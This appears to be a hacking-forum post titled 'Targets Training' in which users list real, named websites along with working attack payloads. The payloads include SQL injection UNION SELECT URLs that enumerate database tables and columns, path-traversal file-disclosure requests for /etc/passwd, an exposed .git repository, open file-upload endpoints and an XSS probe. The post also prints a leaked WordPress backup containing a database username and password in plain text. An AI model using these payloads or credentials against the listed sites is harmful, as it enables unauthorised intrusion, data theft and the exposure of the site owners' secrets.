Targets Training

[SafeMaster]

File Upload

https://www.okuminavi.jp/upload/upload.php

[SafeMaster]

https://avitalkt.co.il/page.php?p=8+order+by+17

https://avitalkt.co.il/page.php?p=-8+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17

https://avitalkt.co.il/page.php?p=-8+union+select+1,2,3,4,5,6,7,group_concat(table_na me),9,10,11,12,13,14,15,16,17+from+information_sch ema.tables

emails,footers,pages,ALL_PLUGINS,APPLICABLE_ROLES, CHARACTER_SETS,CHECK_CONSTRAINTS,COLLATIONS,COLLAT ION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRI VILEGES,ENABLED_ROLES,ENGINES,EVENTS,FILES,GLOBAL_ STATUS,GLOBAL_VARIABLES,KEY_CACHES,KEY_COLUMN_USAG E,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFIL ING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHE MA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STA TISTICS,SYSTEM_VARIABLES,TABLES,TABLESPACES,TABLE_ CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILE GES,VIEWS,GEOMETRY_COLUMNS,SPATIAL_REF_SYS,CLIENT_ STATISTICS,INDEX_STATISTICS,INNODB_SYS_DATAFILES,U SER_STATISTICS,INNODB_SYS_TABLESTATS,INNODB_LOCKS, INNODB_MUTEXES,INNODB_CMPMEM,INNODB_CMP_PER_INDEX, INNODB_CMP,INNODB_FT_DELETED,INNODB_CMP_RESET,INNO DB_LOCK_WAITS,TABLE_STATISTICS,INNODB_TABLESPACES_ ENCRYPTION,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FIELD S,INNODB_CMPMEM_RESET,INNODB_SYS_COLUMNS,INNODB_FT _INDEX_TABLE,INNODB_CMP_PER_INDEX_RESET,user_varia bles,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS ,INNODB_FT_BEING_DELETED,INNODB_BUFFER_POOL_STATS, INNODB_TRX,INNODB_SYS_FOREIGN,INNODB_SYS_TABLES,IN NODB_FT_DEFAULT_STOPWORD,INNODB_FT_CONFIG,INNODB_B UFFER_PAGE,INNODB_SYS_TABLESPACES,INNODB_METRICS,I NNODB_SYS_INDEXES,INNODB_SYS_VIRTUAL,INNODB_TABLES PACES_SCRUBBING,

INNODB_SYS_SEMAPHORE_WAITS

https://avitalkt.co.il/fckeditor/editor/filemanager/connectors/test.html​

[SafeMaster]

Stored Xss

https://web.williams.edu/theatre/timeline/admin/index.php?login_message=IRANHACK

[SafeMaster]

Git repository found

https://apps.ncr.dole.gov.ph/orders/.git/config

.gitattributes
api/api_edocyek.php
api/api_load_blank.php
api/api_orders.php
api/api_users.php
assets/css/bootstrap.min.css
assets/css/color-options.css
assets/css/cropper.css
assets/css/custom-style.css
assets/css/floating-labels.css zz0.bbwcgtrjjezz

[SafeMaster]

LFD

iac.kw.gov.ng/download/download.php?file=file:/// etc / passwd

[SafeMaster]

LFD

https://fr.org.ua//file.php?component=sys_media_doc&file=../..//../..//../..//../..//../..//../..//../..//../..//home/frorgua/fr.org.ua/www/lib/tools.php&title=%D0%A0%D0%B0%D0%BC%D0%BA%D0%BE%D0%B2%D0%B8%D0%B9%20%D0%B4%D0%BE%D0%B3%D0%BE%D0%B2%D1%96%D1%80

[SafeMaster]

BackUp

https://orbit.edu.pk/wp-admin.zip

define( 'DB_NAME', 'orbitsch_toi' );

/** MySQL database username */
define( 'DB_USER', 'orbitsch_toi' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Sop5.67(gB' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );​

[SafeMaster]

File Upload

https://kozhapereplet.ru/wp-content/plugins/saphali-customer-reviews/upload/index.php
https://www.nto.org.tr/UploadNET/

[SafeMaster]

SQL Injection

http://www.abramis.co.uk/books/bookdetails.php?id=-184549714%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.tables--%20-


http://www.abramis.co.uk/books/bookdetails.php?id=-184549714%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(table_name),14,15,16,17,18,19,20,21,22+from+information_schema.tables--%20-

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_LOCK_WAITS,INNODB_SYS_TABLESTATS,INNODB_CMP,INNODB_METRICS,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FOREIGN,INNODB_SYS_COLUMNS,INNODB_SYS_INDEXES,INNODB_FT_DEFAULT_STOPWORD,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_CMPMEM,INNODB_FT_INDEX_TABLE,INNODB_FT_BEING_DELETED,INNODB_SYS_TABLESPACES,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_SYS_TABLES,INNODB_BUFFER_POOL_STATS,INNODB_FT_CONFIG,abrmail,abrmail_users,bak_shop,bookstore01,contact01,contacts


http://www.abramis.co.uk/books/bookdetails.php?id=-184549714%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(column_name),14,15,16,17,18,19,20,21,22+from+information_schema.columns+where+table_name=0x6162726d61696c5f7573657273--%20- zz0.xxgqa8hfdmzz

[SafeMaster]

SQL

http://pelttrader.co.uk/index.php?id=54&sid=54%27

[SafeMaster]

SQL

https://www.jle.org.uk/page.php?id=14

[SafeMaster]

Post Header Injection

https://capae.gob.mx/admin/login.php

Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in /home/capaegob/public_html/admin/login.php on line 15


header data

Usuario=1'&Password=1&Ingresar="

[SafeMaster]

File Upload

https://backend.thaimango.info/page/upload_photo.php?id=

[SafeMaster]

File Upload

https://newborn.nappyclub.ru/upload_photo.php

[SH0CK]

File Upload

https://newborn.nappyclub.ru/upload_photo.php

حاجی پدر هک ایران